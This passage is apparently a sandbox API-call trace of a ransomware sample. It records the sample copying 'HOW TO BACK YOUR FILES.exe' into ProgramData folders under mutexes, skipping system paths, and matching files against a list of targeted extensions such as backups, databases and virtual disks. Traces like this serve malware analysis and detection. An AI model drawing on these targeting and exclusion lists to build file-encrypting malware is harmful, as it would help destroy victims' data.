ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0097.902] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.902] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.902] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.902] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.902] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.902] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.902] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.902] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.902] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0097.902] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.902] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.902] lstrcmpiW (lpString1="BreadcrumbStore", lpString2=".") returned 1 [0097.902] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="..") returned 1 [0097.902] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="windows") returned -1 [0097.902] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="bootmgr") returned 1 [0097.902] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="temp") returned -1 [0097.903] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="pagefile.sys") returned -1 [0097.903] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="boot") returned 1 [0097.903] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="ids.txt") returned -1 [0097.903] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="ntuser.dat") returned -1 [0097.903] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="perflogs") returned -1 [0097.903] lstrcmpiW (lpString1="BreadcrumbStore", lpString2="MSBuild") returned -1 [0097.903] lstrlenW (lpString="BreadcrumbStore") returned 15 [0097.903] lstrcpyW (in: lpString1=0x241e894, lpString2="BreadcrumbStore" | out: lpString1="BreadcrumbStore") returned="BreadcrumbStore" [0097.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c50 [0097.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x5397e8 [0097.903] lstrcatW (in: lpString1="BreadcrumbStore", lpString2="\\" | out: lpString1="BreadcrumbStore\\") returned="BreadcrumbStore\\" [0097.903] lstrcatW (in: lpString1="BreadcrumbStore\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="BreadcrumbStore\\HOW TO BACK YOUR FILES.exe") returned="BreadcrumbStore\\HOW TO BACK YOUR FILES.exe" [0097.903] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\netframework\\breadcrumbstore\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.905] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47c3e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.905] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.905] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47c3e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0097.906] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0097.906] ReleaseMutex (hMutex=0xec) returned 1 [0097.906] CloseHandle (hObject=0xec) returned 1 [0097.906] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\Network" | out: lpString1="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0097.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5171b8 | out: hHeap=0x4f0000) returned 1 [0097.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530c68 | out: hHeap=0x4f0000) returned 1 [0097.906] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network") returned 32 [0097.906] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\13D585E37C736A725C96FC3DB8298C86") returned 0xec [0097.906] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.906] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Network" | out: lpString1="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0097.906] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.906] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\network\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.906] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\network\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.907] GetLastError () returned 0x0 [0097.907] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.907] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.908] CloseHandle (hObject=0xf4) returned 1 [0097.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.908] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.908] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47e9f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0097.908] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.908] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.908] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.908] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47e9f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.908] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.908] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.908] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.908] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.908] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0097.908] lstrcmpiW (lpString1="Connections", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.908] lstrcmpiW (lpString1="Connections", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.908] lstrcmpiW (lpString1="Connections", lpString2=".") returned 1 [0097.908] lstrcmpiW (lpString1="Connections", lpString2="..") returned 1 [0097.908] lstrcmpiW (lpString1="Connections", lpString2="windows") returned -1 [0097.908] lstrcmpiW (lpString1="Connections", lpString2="bootmgr") returned 1 [0097.908] lstrcmpiW (lpString1="Connections", lpString2="temp") returned -1 [0097.909] lstrcmpiW (lpString1="Connections", lpString2="pagefile.sys") returned -1 [0097.909] lstrcmpiW (lpString1="Connections", lpString2="boot") returned 1 [0097.909] lstrcmpiW (lpString1="Connections", lpString2="ids.txt") returned -1 [0097.909] lstrcmpiW (lpString1="Connections", lpString2="ntuser.dat") returned -1 [0097.909] lstrcmpiW (lpString1="Connections", lpString2="perflogs") returned -1 [0097.909] lstrcmpiW (lpString1="Connections", lpString2="MSBuild") returned -1 [0097.909] lstrlenW (lpString="Connections") returned 11 [0097.909] lstrcpyW (in: lpString1=0x241e88a, lpString2="Connections" | out: lpString1="Connections") returned="Connections" [0097.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c68 [0097.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5a) returned 0x5242f8 [0097.909] lstrcatW (in: lpString1="Connections", lpString2="\\" | out: lpString1="Connections\\") returned="Connections\\" [0097.909] lstrcatW (in: lpString1="Connections\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Connections\\HOW TO BACK YOUR FILES.exe") returned="Connections\\HOW TO BACK YOUR FILES.exe" [0097.909] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\Connections\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\network\\connections\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.911] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0097.911] lstrcmpiW (lpString1="Downloader", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.911] lstrcmpiW (lpString1="Downloader", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.911] lstrcmpiW (lpString1="Downloader", lpString2=".") returned 1 [0097.911] lstrcmpiW (lpString1="Downloader", lpString2="..") returned 1 [0097.911] lstrcmpiW (lpString1="Downloader", lpString2="windows") returned -1 [0097.911] lstrcmpiW (lpString1="Downloader", lpString2="bootmgr") returned 1 [0097.911] lstrcmpiW (lpString1="Downloader", lpString2="temp") returned -1 [0097.911] lstrcmpiW (lpString1="Downloader", lpString2="pagefile.sys") returned -1 [0097.911] lstrcmpiW (lpString1="Downloader", lpString2="boot") returned 1 [0097.911] lstrcmpiW (lpString1="Downloader", lpString2="ids.txt") returned -1 [0097.911] lstrcmpiW (lpString1="Downloader", lpString2="ntuser.dat") returned -1 [0097.911] lstrcmpiW (lpString1="Downloader", lpString2="perflogs") returned -1 [0097.911] lstrcmpiW (lpString1="Downloader", lpString2="MSBuild") returned -1 [0097.911] lstrlenW (lpString="Downloader") returned 10 [0097.912] lstrcpyW (in: lpString1=0x241e88a, lpString2="Downloader" | out: lpString1="Downloader") returned="Downloader" [0097.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530c20 [0097.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x52f980 [0097.912] lstrcatW (in: lpString1="Downloader", lpString2="\\" | out: lpString1="Downloader\\") returned="Downloader\\" [0097.912] lstrcatW (in: lpString1="Downloader\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Downloader\\HOW TO BACK YOUR FILES.exe") returned="Downloader\\HOW TO BACK YOUR FILES.exe" [0097.912] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\Downloader\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.914] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47e9f60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.914] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.914] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc47e9f60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0097.914] FindClose (in: hFindFile=0x529590 | out: hFindFile=0x529590) returned 1 [0097.914] ReleaseMutex (hMutex=0xec) returned 1 [0097.914] CloseHandle (hObject=0xec) returned 1 [0097.914] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\OFFICE" | out: lpString1="C:\\ProgramData\\Microsoft\\OFFICE") returned="C:\\ProgramData\\Microsoft\\OFFICE" [0097.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50f880 | out: hHeap=0x4f0000) returned 1 [0097.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530c80 | out: hHeap=0x4f0000) returned 1 [0097.914] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OFFICE") returned 31 [0097.914] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D75CB5466F8E9BA33942C5AACF1B832C") returned 0xec [0097.914] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.914] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\OFFICE" | out: lpString1="C:\\ProgramData\\Microsoft\\OFFICE") returned="C:\\ProgramData\\Microsoft\\OFFICE" [0097.914] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.914] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\office\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.915] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\office\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.915] GetLastError () returned 0x0 [0097.915] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.915] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.916] CloseHandle (hObject=0xf4) returned 1 [0097.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.916] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.916] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47e9f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529590 [0097.916] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.916] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.916] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.916] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc47e9f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47e9f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.916] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.916] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.916] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.917] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.917] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5011dd00, ftLastWriteTime.dwHighDateTime=0x1ca04ff, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".") returned 1 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="..") returned 1 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="windows") returned -1 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="bootmgr") returned -1 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="temp") returned -1 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="pagefile.sys") returned -1 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="boot") returned -1 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="ids.txt") returned -1 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="ntuser.dat") returned -1 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="perflogs") returned -1 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2="MSBuild") returned -1 [0097.917] lstrlenW (lpString="AssetLibrary.ico") returned 16 [0097.917] lstrcpyW (in: lpString1=0x241e888, lpString2="AssetLibrary.ico" | out: lpString1="AssetLibrary.ico") returned="AssetLibrary.ico" [0097.917] lstrlenW (lpString="AssetLibrary.ico") returned 16 [0097.917] lstrlenW (lpString="Athena865") returned 9 [0097.917] lstrcmpiW (lpString1="brary.ico", lpString2="Athena865") returned 1 [0097.917] lstrlenW (lpString=".dll") returned 4 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".dll") returned 1 [0097.917] lstrlenW (lpString=".lnk") returned 4 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".lnk") returned 1 [0097.917] lstrlenW (lpString=".ini") returned 4 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".ini") returned 1 [0097.917] lstrlenW (lpString=".sys") returned 4 [0097.917] lstrcmpiW (lpString1="AssetLibrary.ico", lpString2=".sys") returned 1 [0097.917] lstrlenW (lpString="AssetLibrary.ico") returned 16 [0097.917] lstrlenW (lpString="bak") returned 3 [0097.918] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1 [0097.918] lstrlenW (lpString="ba_") returned 3 [0097.918] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1 [0097.918] lstrlenW (lpString="dbb") returned 3 [0097.918] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1 [0097.918] lstrlenW (lpString="vmdk") returned 4 [0097.918] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1 [0097.918] lstrlenW (lpString="rar") returned 3 [0097.918] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1 [0097.918] lstrlenW (lpString="zip") returned 3 [0097.918] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1 [0097.918] lstrlenW (lpString="tgz") returned 3 [0097.918] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1 [0097.918] lstrlenW (lpString="vbox") returned 4 [0097.918] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1 [0097.918] lstrlenW (lpString="vdi") returned 3 [0097.918] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1 [0097.918] lstrlenW (lpString="vhd") returned 3 [0097.918] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1 [0097.918] lstrlenW (lpString="vhdx") returned 4 [0097.918] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1 [0097.918] lstrlenW (lpString="avhd") returned 4 [0097.918] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1 [0097.918] lstrlenW (lpString="db") returned 2 [0097.918] lstrcmpiW (lpString1="co", lpString2="db") returned -1 [0097.918] lstrlenW (lpString="db2") returned 3 [0097.918] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1 [0097.918] lstrlenW (lpString="db3") returned 3 [0097.918] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1 [0097.918] lstrlenW (lpString="dbf") returned 3 [0097.919] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1 [0097.919] lstrlenW (lpString="mdf") returned 3 [0097.919] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1 [0097.919] lstrlenW (lpString="mdb") returned 3 [0097.919] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1 [0097.919] lstrlenW (lpString="sql") returned 3 [0097.919] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1 [0097.919] lstrlenW (lpString="sqlite") returned 6 [0097.919] lstrcmpiW (lpString1="ry.ico", lpString2="sqlite") returned -1 [0097.919] lstrlenW (lpString="sqlite3") returned 7 [0097.919] lstrcmpiW (lpString1="ary.ico", lpString2="sqlite3") returned -1 [0097.919] lstrlenW (lpString="sqlitedb") returned 8 [0097.919] lstrcmpiW (lpString1="rary.ico", lpString2="sqlitedb") returned -1 [0097.919] lstrlenW (lpString="xml") returned 3 [0097.919] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1 [0097.919] lstrlenW (lpString="$er") returned 3 [0097.919] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1 [0097.919] lstrlenW (lpString="4dd") returned 3 [0097.919] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1 [0097.919] lstrlenW (lpString="4dl") returned 3 [0097.919] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1 [0097.919] lstrlenW (lpString="^^^") returned 3 [0097.919] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1 [0097.919] lstrlenW (lpString="abs") returned 3 [0097.919] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1 [0097.919] lstrlenW (lpString="abx") returned 3 [0097.919] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1 [0097.919] lstrlenW (lpString="accdb") returned 5 [0097.919] lstrcmpiW (lpString1="y.ico", lpString2="accdb") returned 1 [0097.919] lstrlenW (lpString="accdc") returned 5 [0097.920] lstrcmpiW (lpString1="y.ico", lpString2="accdc") 